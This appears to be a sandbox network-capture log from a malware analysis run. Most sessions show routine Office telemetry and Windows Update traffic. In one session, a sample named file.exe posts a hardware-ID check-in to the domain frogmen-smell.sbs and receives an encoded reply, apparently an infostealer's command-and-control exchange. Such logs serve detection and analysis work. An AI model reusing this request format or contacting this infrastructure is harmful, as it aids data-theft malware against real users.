2024-11-14 16:24:34 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.6	49816	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:34 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:35 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:34 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: 4630a231-e01e-0020-14ff-2bde90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162434Z-16547b76f7frbg6bhC1DFWr5400000000kug00000000abw3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:35 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	49817	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:34 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:35 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:34 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: fb45f2b4-401e-0016-3630-3653e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162434Z-1749fc9bdbdns7kfhC1DFWb6c400000002z0000000001r8b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:35 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	49815	20.109.210.53	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:34 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=FGaSAOeh2r9BUX3&MD=Z9fel9Xu HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-14 16:24:35 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 115d582b-95c9-4828-b98d-4c4dfc7e117d MS-RequestId: 7c90fc45-c3a7-4b64-8c66-1264100070c1 MS-CV: TcYRLAV+o0K/JzWH.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Thu, 14 Nov 2024 16:24:34 GMT Connection: close Content-Length: 24490
2024-11-14 16:24:35 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-14 16:24:35 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	49818	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:35 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:35 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:35 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: fb5c86d1-f01e-0096-504a-3610ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162435Z-r178fb8d765mr9nqhC1DFWs8m800000000wg00000000uchr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:35 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.6	49820	172.67.174.133	443	5788	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:35 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: frogmen-smell.sbs
2024-11-14 16:24:35 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 45 37 45 35 33 30 34 45 44 37 32 35 39 45 33 36 45 38 45 30 42 45 41 31 34 45 35 33 34 33 37 38 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=E7E5304ED7259E36E8E0BEA14E534378
2024-11-14 16:24:36 UTC	1019	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cf0re6utdp1b44004m946bt1mp; expires=Mon, 10-Mar-2025 10:11:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LwnF9bRjPOFF6uIGc7aqRn1pwOx6Vd5n%2FqF2mE7qKv5mi2gDURVDIWi410mxypdd42GCQjzYHZcqoBkwOZNNW19JbpfGH%2B%2BQH795gLQoLedfF%2F3dH3C%2BUcRLuMOkuK60XrruGQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e285a467f1d6c19-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1036&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=989&delivery_rate=2696461&cwnd=251&unsent_bytes=0&cid=9f69701dc809b82a&ts=496&x=0"
2024-11-14 16:24:36 UTC	214	IN	Data Raw: 64 30 0d 0a 4f 36 56 36 4b 42 4d 67 70 45 45 59 63 42 4d 45 69 56 68 44 2b 36 31 34 6b 31 74 69 50 55 74 4b 36 6e 45 61 49 4c 67 30 74 66 4a 67 33 6c 68 64 4d 52 71 47 4b 57 77 45 59 7a 37 56 64 78 2f 55 6e 45 43 6d 64 56 41 4d 66 6d 54 62 51 43 6b 4f 69 51 4c 70 33 56 54 44 48 48 51 38 52 4d 45 6e 4e 68 56 72 59 61 74 30 59 5a 33 5a 57 71 6c 72 54 68 38 75 61 4e 42 41 5a 77 7a 44 46 73 44 51 41 59 63 53 58 47 64 51 6e 68 30 33 4c 44 77 31 73 57 31 74 79 5a 78 4e 76 57 70 54 44 6d 56 37 33 43 30 31 55 38 78 52 31 4a 39 6e 69 67 68 4a 66 55 54 4c 4c 44 59 56 61 32 47 72 64 47 47 64 32 56 71 70 61 30 34 66 4c 6d 6a 51 51 47 64 39 0d 0a Data Ascii: d0O6V6KBMgpEEYcBMEiVhD+614k1tiPUtK6nEaILg0tfJg3lhdMRqGKWwEYz7Vdx/UnECmdVAMfmTbQCkOiQLp3VTDHHQ8RMEnNhVrYat0YZ3ZWqlrTh8uaNBAZwzDFsDQAYcSXGdQnh03LDw1sW1tyZxNvWpTDmV73C01U8xR1J9nighJfUTLLDYVa2GrdGGd2Vqpa04fLmjQQGd9
2024-11-14 16:24:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	49819	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:35 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:35 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:35 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 8fcaa1bb-301e-006e-11d2-2cf018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162435Z-16547b76f7frbg6bhC1DFWr5400000000ku000000000dt5w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:35 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	49821	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:35 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:35 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:35 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 384ed142-801e-0047-1f8c-327265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162435Z-16547b76f7fvllnfhC1DFWxkg80000000kx000000000han0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:35 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:35 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:35 UTC	538	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:35 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 157887d5-b01e-0084-44d2-2cd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162435Z-16547b76f7flf9g6hC1DFWmcx800000009dg00000000e51f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:35 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.6	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:35 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:36 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:35 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 94e04423-001e-008d-67ab-36d91e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162435Z-16547b76f7f9bs6dhC1DFWt3rg0000000ks000000000wdug x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-14 16:24:36 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-14 16:24:36 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-14 16:24:36 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 14 Nov 2024 16:24:36 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 9dc908ac-101e-0034-7fa0-3496ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241114T162436Z-r178fb8d765jv86hhC1DFW8pt000000002qg00000000nvmy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-14 16:24:36 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" 